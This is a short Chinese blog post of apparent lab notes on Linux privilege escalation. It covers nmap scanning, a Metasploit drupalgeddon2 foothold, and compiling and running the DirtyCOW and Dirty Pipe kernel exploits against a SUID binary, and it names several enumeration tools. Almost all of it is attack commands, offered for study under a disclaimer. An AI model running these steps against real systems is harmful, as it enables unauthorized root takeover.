Linux提权--内核漏洞--web用户提权(脏牛)&本地提权(脏管道)_linux脏牛,内核漏洞提权e

作者：秋刀鱼在做梦 | 2024-07-24 03:03:42

踩

linux脏牛,内核漏洞提权e

免责声明:本文仅做技术交流与学习...

Linux-内核漏洞Web用户提权-探针&利用-脏牛dcow

nmap 192.168.46.0/24

nmap -p -65535 192.168.46.144

（linux-exploit-suggester--->获取信息...）等等


search drupal
 
use exploit/unix/webapp/drupal_drupalgeddon2
 
set rhost 192.168.46.144
 
set rport 1898
 
run
 
---上线


upload /root/dcow.cpp/tmp/dcow.cpp
 
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil

5.8<=Linux kernel<5.16.11/5.15.25/5.10.102

les.sh

traitor-amd64

beroot.py

--探针出来,找EXP.

gcc -o dirtypipez dirtypipez.c

./dirtypipez /usr/bin/su #任何具体suid权限的文件均可

声明：本文内容由网友自发贡献，不代表【wpsshop博客】立场，版权归原作者所有，本站不承担相应法律责任。如您发现有侵权的内容，请联系我们。转载请注明出处：https://www.wpsshop.cn/w/秋刀鱼在做梦/article/detail/872662